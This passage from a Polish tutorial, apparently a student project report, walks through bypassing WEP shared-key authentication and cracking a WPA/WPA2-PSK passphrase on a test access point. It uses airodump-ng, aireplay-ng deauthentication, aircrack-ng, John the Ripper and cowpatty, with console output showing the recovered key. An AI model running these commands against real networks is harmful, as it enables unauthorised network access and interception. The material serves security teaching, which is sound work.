Rysunek 19 Działanie uwierzytelnienia z kluczem źródło http://documentation.netgear.com/reference/fra/wireless/WirelessNetworkingBasics-3-09.html

Bardzo prosto jest obejść to zabezpieczenie. Standardowo musimy uruchomić naszą kartę w trybie monitor i ustawić kanał na którym będzie pracować. Następnie wpisujemy polecenie

airodump-ng -c 12 -w pakiety --bssid \$macap rausb0

2 0		m	nc - ~ - Shell No. 2 - Konsole	
🔤 🜌 Shell 🜌 S	ihell No. 2	🜌 Shell No. 3		-0
CH 12][Elapsed:	4 s][20	08-06-04 11:21		
BSSID	PWR RXQ	Beacons #Da	ata, #/s CH MB ENC CIPHER AUTH ESSID	
00:0C:41:38:61:6E	91 8	7	0 0 12 54.WEP WEP Projekt	
BSSID	STATION	PWR	Rate Lost Packets Probes	

Rysunek 20Efekt działania polecenia airodump-ng –c 12 –w pakiety --bssid \$macap rausb0

Teraz czekamy aż jakiś klient podłączy się do Access Pointa, gdy to już nastąpi airodump-ng poinformuje nas o tym w prawym górnym rogu. Można też rozłączyć klienta już podłączonego, dzięki temu również przechwycimy odpowiedni pakiet.

```
aireplay-ng -0 10 -a $macap -c 00:90:4b:5b:69:df rausb0
```

			mc -	~ - She	all No.	2 - Kon	sole			
🧿 🜌 Shell 🛛 🜌 S	hell No. 2	🚅 Shell N	o. 3							
CH 12][Elapsed:	24 s][2	008-06-04	11:21 1	[140 b	ytes	keystre	am: 00:	0C:41	:38:61:6E	
BSSID	PWR RXQ	Beacons	#Data,	#/s	CH M	B ENC	CIPHER	AUTH	ESSID	
00:0C:41:38:61:6E	91 23	45	19	1	12 5	4. WEP	WEP	SKA	Projekt	
BSSID	STATION		PWR R	Rate L	ost I	Packets	Probe	s		
00:0C:41:38:61:6E	00:90:4B	:5B:69:DF	81 54	4-54	15	13				

Rysunek 21 Efekt podłączenie klienta do Access Pointa z uwierzytelnieniem z klucza

Po podłączeniu klienta w katalogu, w którym uruchomiono airodump-ng lub w katalogu do którego zapisywane są przechwytywane pakiety powinien pojawić się plik z rozszerzeniem *.xor. W naszym przypadku ten plik nazywa się pakiety-01-00-0C-41-38-61-6E.xor

Teraz posiadając ten plik (w pliku tym znajduję się PRGA - *pseudo random generation algorithm*). Możemy uwierzytelnić się z Access Pointem za pomocą polecenia:

```
aireplay-ng -1 0 -e "Projekt" -y pakiety-01-00-0C-41-38-61-6E.xor
-a $macap -h $mac rausb0
```



Rysunek 22 Połączenie z Access Pointem

1.7. Łamanie zabezpieczeń typu WPA/WPA2 TKIP

Jednym z najlepszych zabezpieczeń a jednocześnie bardzo słabym jest WPA/WPA2. Można sprawić, że bardzo trudno będzie złamać hasło, które chroni sieć bezprzewodową natomiast gdy hasło będzie słabe tzn. będzie składało się z niewielu znaków, znaki będą tylko z małej litery i nie będzie cyfr i znaków specjalnych do sieci takiej można się włamać w kilka minut.

Pierwszą czynnością jaką wykonamy to ustawienie karty bezprzewodowej czyli tryb monitor i kanału nasłuchu (w naszym przypadku będzie to kanał 9).

```
iwconfig rausb0 mode monitor
airmon-ng start rausb0 9
```

Następnie uruchomimy airodumpa żeby przechwytywał pakiety z sieci.

airodump-ng -c 12 -bssid \$macap -w psk rausb0

					m	c - /ai	r/rob	ocze - S	Shell	Konsole
🔤 🛋 Shell 🛛 🜌 S	Shell No. 2	🜌 Shell No	o. 3							
CH 12][Elapsed:	1 min][2008-06-02	17:22							
BSSID	PWR RXQ	Beacons	#Dat	:a, #/s	СН	MB	ENC	CIPHER	AUTH	ESSID
00:0C:41:38:61:6E	92 61	433	662	8 98	12	54.	WPA	TKIP	PSK	Projekt
BSSID	STATION		PWR	Rate	Lost	Pac	kets	Probe	5	
00:0C:41:38:61:6E	00:90:4B	:5B:69:DF	76	54-54	146		6603			

Rysunek 23 Działanie polecenia airodump-ng –c 12 –bssid \$macap –w psk rausb0

Teraz musimy "odłączyć" podłączonego klienta żeby Access Point ponownie zażądał uwierzytelnienia od klienta (podczas tej czynności airodump przechwyci "WPA handshake").

aireplay-ng -0 2 -a \$macap -c 00:90:4B:5B:69:DF rausb0

🗖 💿 🥂 mc - /air/robocze - Shell - Konsole												
🔤 🜌 Shell	Shell No. 2 Shell No. 3	-0										
bt / # airepl 15:21:24 Wai 15:21:24 Ser 15:21:25 Ser	ay-ng -0 2 -a \$macap -c 00:90:4B:5B:69:DF rausb0 ting for beacon frame (BSSID: 00:0C:41:38:61:6E) on channel 12 ding 64 directed DeAuth. STMAC: [00:90:4B:5B:69:DF] [0 0 ACKs] ding 64 directed DeAuth. STMAC: [00:90:4B:5B:69:DF] [0 0 ACKs]											
bt / #												

Rysunek 24 Efekt działania polecenia aireplay-ng -0 2 -a \$macap -c 00:90:4B:5B:69:DF rausb0

Gdy uda nam się przechwycić "WPA handshake" zobaczymy to w airodumpie w **prawym** górnym rogu

0					m	c - /air/rot	ocze - S	ihell -	Konsole
Shell	Shell No. 2	🚅 Shell No.	3						-
CH 12][Elaj	psed: 5 mins][2008-06-02	17:2	26 [WF	PA har	ndshake: (00:0C:4	1:38:0	51:6E
BSSID	PWR RXQ	Beacons	#Dat	ta, #/s	СН	MB ENC	CIPHER	AUTH	ESSID
00:0C:41:38:0	61:6E 92 70	1774	2696	51 42	12	54. WPA	TKIP	PSK	Projekt
BSSID	STATION)	PWR	Rate	Lost	Packets	Probes	5	
00:0C:41:38:	61:6E 00:90:4B	:5B:69:DF	83	54-48	208	27135			
00:0C:41:38:0	61:6E 00:90:4B	:5B:69:DF	83	54-48	208	27135			

Rysunek 25 Przechwycenie WPA handshake

Czasami zdarza się że pomimo iż airodump pokazuje WPA handshake tak nie jest, dlatego musimy ponownie użyć polecenia

aireplay-ng -0 2 -a \$macap -c 00:0c:41:38:61:6e rausb0

Teraz mając już "WPA handshake" możemy przystąpić do łamania hasła ale wcześniej musimy sobie stworzyć słownik, możemy użyć w tym celu programu John the ripper.

aircrack-ng -w password.lst -b \$macap psk*.cap

2 0													SI	ıell	No.	. 2 - Konsol
🦂 🜌 Shell	🜌 Shell	No. 2		🜌 Sh	ell N	lo. 3										
				А	irc	racl	<-n	g 1.	.01	oeta	a2					
	[00	:00:	01]	232	key	s te	este	ed	(17)	7.5	ō k,	/s)				
	KEY	FOU	ND!	[qa	zws:	ked	crf	vtgl	yhi	nuji	niko	ol j				
Master K	(ey :	B5 D9	6A 99	CD FE 7A 78	3F 17	8C D2	16 E8	67 22	80 41	90 25	7A E2	4C 68	A2 65	EF 9B	D0 55	6C 32
Transcie	ent Key :	4E 7B 9B	98 7B 80	D3 21 BE 25 9B FB	FC 29 50	68 9E 9A	80 E1 1E	62 3E CC	99 5B 24	60 ED 7D	39 70 4F	95 1A D6	B2 D6 FE	B7 E3 42	A2 30 DC	A1 98 34
EAPOL HM	IAC :	7B 32	15 8B	FD 71 5A 8B	80	72 19	В8 Е7	F9 CF	D3 99	E0 47	C4 FA	8A B6	A8 D5	82 99	5D 2B	41 40
<pre>bt robocze #</pre>									_							

Rysunek 26 Efekt działania polecenia aircrack-ng –w password.lst –b \$macap psk*.cap

Użycie łamacza haseł John the riiper oraz cowpatty

john --wordlist=password.lst --rules --stdout | cowpatty -s
Projekt -f - -r psk*.cap

Użycie łamacza haseł John the ripper oraz aircrack-ng:

```
john --wordlist=password.lst --rules --stdout | aircrack-ng -e
Projekt -w - psk*.cap
```

Nie udało mi się natomiast złamać hasła, którego nie miałem w słowniku użytego do łamania haseł WPA/WPA2. bt robocze # john-1.7.2/run/john --wordlist=password.lst --rules --stdout | cowp atty -s Projekt -f - -r pakiety-01.cap cowpatty 3.0 - WPA-PSK dictionary attack. <jwright@hasborg.com> Collected all necessary data to mount crack against passphrase. Starting dictionary attack. Please be patient. Using STDIN for words. key no. 100: macintos key no. 200: montreal The PSK is "qazwsxedcrfv". 233 passphrases tested in 3.77 seconds: 61.77 passphrases/second

Rysunek 27 Udane złamanie hasła